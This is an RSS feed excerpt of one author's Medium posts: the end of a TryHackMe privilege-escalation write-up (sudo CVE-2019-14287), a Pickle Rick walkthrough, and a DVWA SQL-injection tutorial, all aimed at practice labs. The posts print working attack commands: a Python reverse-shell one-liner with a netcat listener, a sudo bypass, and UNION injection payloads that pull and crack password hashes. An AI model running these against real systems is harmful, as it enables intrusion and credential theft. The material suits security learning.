/></figure><p>From above, we can see that user <strong>gwendoline</strong> can edit the file <strong>/home/gwendoline/user.txt</strong> with sudo privileges using <strong>/usr/bin/vi</strong> but the problem was that we can not run sudo with root as we have (ALL , !root) here. if we had (ALL , ALL) we could easily escalate it. so now what to do.</p><p>Apparently there is a vulnerability in <strong>sudo </strong>which allows us run command as root for specific configuration. This <a href="https://resources.whitesourcesoftware.com/blog-whitesource/new-vulnerability-in-sudo-cve-2019-14287"><strong>https://resources.whitesourcesoftware.com/blog-whitesource/new-vulnerability-in-sudo-cve-2019-14287</strong></a> has good understanding of this vulnerability.But in sort, if you run a user with id <strong>-1</strong> sudo can not understand it properly and revert it back to 0 which means root id. so here is what we are going to do,</p><h4>Command : sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt</h4><p>this will open vi editor and now what you can do is go to command line by typing “<strong>:</strong>” and then typr “<strong>!/bin/sh</strong>” and hit enter and it will give you the root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ds1dvxRlPVqkHJsvk18Q3A.png" /></figure><p>As we can see that we have got our root shell and instantly we navigate to root folder to get the root flag.</p><p><strong>Bingo</strong>, we have completed the room. This was quite good. When i originally did that room it took me sometime to compete the room. I hope if you stuck anywhere this write-up might help you. And i hope you might gain some good knowledge from this.</p><p>Keep Enumerating. Enumeration is the key.</p><blockquote>Thank you.</blockquote><blockquote>Happy Hacking.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=82c8994e5e55" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe : Pickle Rick Walk Through]]></title>
            <link>https://jaypomal.medium.com/tryhackme-pickle-rick-walk-through-645e4f81b83e?source=rss-e511304e152d------2</link>
            <guid isPermaLink="false">https://medium.com/p/645e4f81b83e</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pickle-rick]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[enumeration]]></category>
            <dc:creator><![CDATA[Jay Pomal]]></dc:creator>
            <pubDate>Sun, 27 Sep 2020 19:28:49 GMT</pubDate>
            <atom:updated>2020-09-27T19:28:49.286Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe : Pickle Rick Walk Through</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*d84scBLejCyUijb9.png" /><figcaption><a href="https://tryhackme.com/room/picklerick">https://tryhackme.com/room/picklerick</a></figcaption></figure><p>Hello everyone, today i am going to take you on walk through of room named “Pickle Rick” on tryhackme. So, without any delay let’s jump on it.</p><p>So first we have presented with above picture and a text “This Rick and Morty themed challenge requires you to exploit a webserver to find 3 ingredients that will help Rick make his potion to transform himself back into a human from a pickle.”</p><p>First connect with your openvpn id and deploy the room once you get the ip address of the room test it with ping command <strong>ping ip_address_of _room</strong> to be sure that room is accessible. once it’s done we can start our enumeration.</p><p>First we will start with our nmap scan. command would be</p><h4>Command : nmap -sC -sV 10.10.28.139</h4><p>Here -<strong>sC </strong>for default scripts and -<strong>sV </strong>for version and os detection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SIpE8fwpKlyO5XS1gpzsZg.png" /></figure><p>As we can see that nmap result shows us that port 22(<strong>ssh</strong>) and port 80(<strong>http</strong>) are open. Well this information may come handy later when we enumerate further. While our nmap scan was going on, i look for website associated with that ip address and my guess was right. So when i got the website the first thing i do is look to for source code you can do that by pressing <strong>cntrl+u</strong> and guess what i found, a potential username. here it is…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jmdFc7P7R-Cq-JcyBxR0tg.png" /></figure><p>We got the potential user name as “<strong>R1ckRul3s</strong>”. Now once you are on website you must checkout <strong>robots.txt</strong>. So we got something interesting as ,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dbkHA9T5FSdiFaV5Z2Wang.png" /></figure><p>A string “<strong>Wubbalubbadubdub</strong>” which looks like potential <strong>password</strong>. Now we have a user name and a password but where to apply it. I tried SSH but it didn’t work. So i thought there should be a login page on the website and we have to find it means “<strong>Directory Brute-forcing</strong>” and <strong>Gobuster </strong>is a popular tool for that.</p><h4>command : gobuster dir -u http://10.10.28.129 -w /usr/share/wordlists/dirb/common.txt -x php</h4><p>So here -<strong>u </strong>for url and -<strong>w </strong>for wordlist. By default kali provides lots of wordlists and path would be /usr/share/wordlists. Here -<strong>x </strong>is for specifying for specific extension you are looking for in my case i was looking for a login page so i added php . you can also add other extensions like py, sh, cgi, html ,js ,etc. However if you don’t specify extensions it would also run but it’s a good practice you do. So, when i did directory brute-forcing, i got some good results as,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xFQzjdBmf7tLm92eFbIyWQ.png" /></figure><p>When the brute-force was ongoing i first encountered <strong>/denied.php</strong> with status code <strong>302 </strong>which means redirect. So i paste that on the url and guess what it redirected me too <strong>login.php</strong>. And there we go we have our login page and we have also got our credentials. So as i logged in i was presented with command panel like this and when i run <strong>ls </strong>command i got some interesting files,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6GuFw-wCAasNKCxN94ejvA.png" /></figure><p>But when i tried to run cat command to get content inside the files, it was not working neither more or other command. After some time i tried to run python to see if it is working. What i tried was to print hello using python but it failed but when i tried it with python3 it worked.</p><h4>command : python3 -c “print(‘hello’)”</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4yvzJ72Wk8k9X3ewuNEFqg.png" /></figure><p>So at this time we know that we can run python3 and we can also try to get the reverse shell. To do that we have a cheet-sheet. And <strong>pentestmonkey </strong>has a great list of reverse-shell scripts. Site for that is <a href="https://jaytaylor.com/notes/node/1520886669000.html"><strong>https://jaytaylor.com/notes/node/1520886669000.html</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_T7EXSCPv_x5ElqrJcpryg.png" /></figure><p>As we can see that we have a python script. Copy that script and paste it in the command panel. But we have to modify it. We have to put our <strong>tun0 </strong>ipaddress. You can get your tun0 ip address by typing “<strong>ifconfig</strong>” in terminal. There will be a tun0 interface. Also we have to put python3 instead of python in the script. So out final script will look like this,</p><pre>python3 -c &#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;10.9.101.211&quot;,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);</pre><p>Before you execute this script in the command panel you have to start a <strong>netcat</strong> listener in terminal,</p><h4>Command : nc -nlvp 1234</h4><p>Once you started listener now you can execute the script. Once you do you will get a shell in terminal like this,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vul-ptnlDqs7kIkXAVVWqw.png" /></figure><p>So we get our shell and when i run <strong>ls </strong>command it listed some files as we can see in above picture. But this shell is unstable. we will stabilize it by running following command,</p><h4>Command : python3 -c “import pty; pty.spawn(‘/bin/bash’)”</h4><p>Once we run this command we will get a bit good stable shell. Well there are more commands which will enable tab auto complete and other stuff but we won’t talk about them in this post.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JelqZvz_e_2NxBTVhP4o4g.png" /></figure><p>Here we have text file named <strong>Sup3rs3cretPickl3Ingred.txt </strong>just cat that out and we have a answer to our first question in room which is “<strong>mr. meeseek hair</strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n498Yr6mZxNiyCQoI2F06A.png" /></figure><p>Now for further enumeration i went to home directory by typing cd /home. and found that there is a another user name rick. when i went to rick folder it has file named second ingredients. i tried to cat that out but it was not working because i needed the root privileges to read that file. So the next command i run was ,</p><h4>Command : sudo -l</h4><p>This will basically tell me which file i can run with root privileges so that i can do some nasty thing to get our root shell and when i ran the command i get to know that i can run everything with root privileges without any password. So when i ran following command i got the root shell.</p><h4>command : sudo bash</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lawfufLJ4eRy8Uf2VeFjhw.png" /></figure><p>Once i got the root shell i quickly went to cd /home/rick to get our second ingredients and cat that out by,</p><h4>Command : cat *</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ODuykVc23-YuW3OxXEJBXA.png" /></figure><p>And we have the second answer of our room as “<strong>1 jerry tear</strong>”.</p><p>Now for 3rd answer i went to root folder and cat out the file 3rd.txt. and we have answer for our 3rd and last question of the room as “<strong>fleeb juice</strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zN9W9sKdCN_x2rFvVPxZsQ.png" /></figure><p>Bingo, we have completed the room. This was quite good. When i originally did that room it took me sometime to compete the room. I hope if you stuck anywhere this write-up might help you. And i hope you might gain some good knowledge from this.</p><p>Keep Enumerating. Enumeration is the key.</p><blockquote>Thank you.</blockquote><blockquote>Happy Hacking.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=645e4f81b83e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Implementing SQL-injection in DVWA]]></title>
            <link>https://jaypomal.medium.com/implementing-sql-injection-in-dvwa-2091879d44a2?source=rss-e511304e152d------2</link>
            <guid isPermaLink="false">https://medium.com/p/2091879d44a2</guid>
            <category><![CDATA[dvwa]]></category>
            <category><![CDATA[sql]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Jay Pomal]]></dc:creator>
            <pubDate>Fri, 29 May 2020 12:03:31 GMT</pubDate>
            <atom:updated>2020-05-29T12:03:31.945Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>SQL Injection</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*33rISaQWdNQaIC8o.jpg" /></figure><p>SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker).</p><p>SQL injection must exploit a security vulnerability in an application’s software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.</p><p>SQL injection attacks allow attackers to spoof identity, tamper with existing data, cause repudiation issues such as voiding transactions or changing balances, allow the complete disclosure of all data on the system, destroy the data or make it otherwise unavailable, and become administrators of the database server.</p><p>In a 2012 study, it was observed that the average web application received 4 attack campaigns per month, and retailers received twice as many attacks as other industries.</p><h3><strong>Form</strong></h3><p>SQL injection (SQLI) was considered one of the top 10 web application vulnerabilities of 2007 and 2010 by the Open Web Application Security Project.</p><p>In 2013, SQLI was rated the number one attack on the OWASP top ten.</p><p>There are four main sub-classes of SQL injection:</p><p>• Classic SQL injection</p><p>• Blind or Inference SQL injection</p><p>• Database management system-specific SQL injection</p><p>• Compounded SQL injection</p><p>o SQL injection + insufficient authentication [7]</p><p>o SQL injection + DDoS attacks [8]</p><p>o SQL injection + DNS hijacking [9]</p><p>o SQL injection + XSS [10]</p><p>• The Storm Worm is one representation of Compounded SQL injection.</p><p>Here I will implement SQL-injection in DVWA (damn vulnerable web application) with low security.</p><h3><strong>Implementation</strong></h3><blockquote>Step 1: — Configure DVWA (Damn vulnerable web application) to your local host (127.0.0.1).</blockquote><blockquote>Step 2: — Open DVWA in your browser by typing 127.0.0.1/DVWA/login.php</blockquote><blockquote>Step 3: — Set your DVWA security to low.</blockquote><blockquote>Step 4: — Now go to sql injection and perform the practical.</blockquote><blockquote>Step 5: — Input 1 into the Text Box and click Submit Button. Webpage is supposed to print ID, First Name and Surname.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y4qwkPvmJIorlabOC3PWaQ.png" /></figure><p>And you can see the URL in above picture is,</p><h4><em>127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&amp;Submit=Submit#</em></h4><p>Now in above URL we will try to unbalance sql query by placing a ‘ after 1 like this,</p><h4><em>127.0.0.1/DVWA/vulnerabilities/sqli/?id=1’&amp;Submit=Submit#</em></h4><p>And Web page is supposed to throw an error. If it doses then we can say that it is vulnerable. Like this,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VkoDRKSl4ZjBZq_UU69ULA.png" /></figure><blockquote>Step 6: — Now will find out how many columns does it contains by using “order by” keyword.</blockquote><p>Your URL will be look like,</p><h4><em>127.0.0.1/DVWA/vulnerabilities/sqli/?id=1’ order by 1 — &amp;Submit=Submit#</em></h4><p>We will continue increasing the number by 1, 2, 3,….N until we get an error. In our case we will get an error at “order by 3 — “. Like this,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b0KVoOrnzgrTHatdfzYnNw.png" /></figure><p>It means that it contains 2 columns.</p><blockquote>Step 7: — Now that we have figured it out that we have 2 vulnerable columns we will use UNION SELECT statement over here to find out database name and its version. Like this,</blockquote><h4><em>127.0.0.1/DVWA/vulnerabilities/sqli/?id=1’ union select database(),version() — &amp;Submit=Submit#</em></h4><p>And the output will be,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iC7CxKCmiyoBnUYUKHq0cw.png" /></figure><p>We can see that the database name is “dvwa” and version is “10.3.22-MariaDB-1”.</p><blockquote>Step 8: — Now we will extract out all the table names from this database by firing following query.</blockquote><h4><em>127.0.0.1/DVWA/vulnerabilities/sqli/?id=1’ union select ‘abc’,table_name from information_schema.tables — &amp;Submit=Submit#</em></h4><p>And output will be,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rqq-jk7iUVlG0t1aZ8wUaQ.png" /></figure><p><strong><em>Note: Information schema contains metadata for all data objects stored in that particular database. So, we use above Query to Extract All Table’s Name.</em></strong></p><blockquote>Step 9: — As we can see in above picture that we have presented with all the tables name that database contains. But we are not interested in all the tables, we will be possibly looking for a table that might contain username and password. So, we will be scrolling through all the tables.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GWQwG2i1_6WccgkN1-1MBg.png" /></figure><p>As we can see in above picture that we have found a table named as “<strong>users</strong>”. This table might contain the information that we are looking for. So, now will try to get information from that table.</p><blockquote>Step 10: — Now we will be firing a query that will extract the information from table named “users”. And the query will be,</blockquote><h4><em>127.0.0.1/DVWA/vulnerabilities/sqli/?id=1’ union select ‘abc’,column_name from information_schema.tables where table_columns=users — &amp;Submit=Submit#</em></h4><p>As soon as you will fire this query web page will through an error like “unknown column ‘users’ in ‘where clause’”. This is because we can not directly use table name in it. But we have to convert that table name into decimal value. Like in our case it will be,</p><p>Text = users</p><p>Decimal = 117 115 101 114 115</p><p>We have to use like (117,115,101,114,115)</p><p>So, our final query will be look something this,</p><h4><em>127.0.0.1/DVWA/vulnerabilities/sqli/?id=1’ union select ‘abc’,column_name from information_schema.columns where table_name=char(117,115,101,114,115) — &amp;Submit=Submit#</em></h4><p>And our output will be,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qxqy8CJAEc_QDA2vnJflSw.png" /></figure><p>And we can see in above picture that we have extracted out all the columns name from the users table.</p><blockquote>Step 11: — Now we want user name and password and we can see in above picture that it contains column name “<strong>user</strong>” and “<strong>password</strong>”. So, now will get all user name and password by firing this simple query.</blockquote><h4><em>127.0.0.1/DVWA/vulnerabilities/sqli/?id=1’ union select user,password from users — &amp;Submit=Submit#</em></h4><p>And the output will be,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wch7JrQBwc6XY-Zm2Vv4rQ.png" /></figure><p>There we go, we have extracted usernames and passwords. But we can see that passwords are not in pure text form instead it is in MD5 hash format. We can easily decrypt it using online MD5 decrypter.</p><p>I will be using <a href="https://www.md5online.org/md5-decrypt.html">https://www.md5online.org/md5-decrypt.html</a> this tool to decrypt those password hashes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7oougUJeCLJIIR9G4yZywA.png" /></figure><p>As you can see that I have decrypted a hash and we got the actual password which is “<strong>abc123</strong>”.</p><h4><em>Note</em>: It’s strictly for educational purpose. I am not responsible for any illegal activity.</h4><h3><strong>Happy hacking!</strong></h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2091879d44a2" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>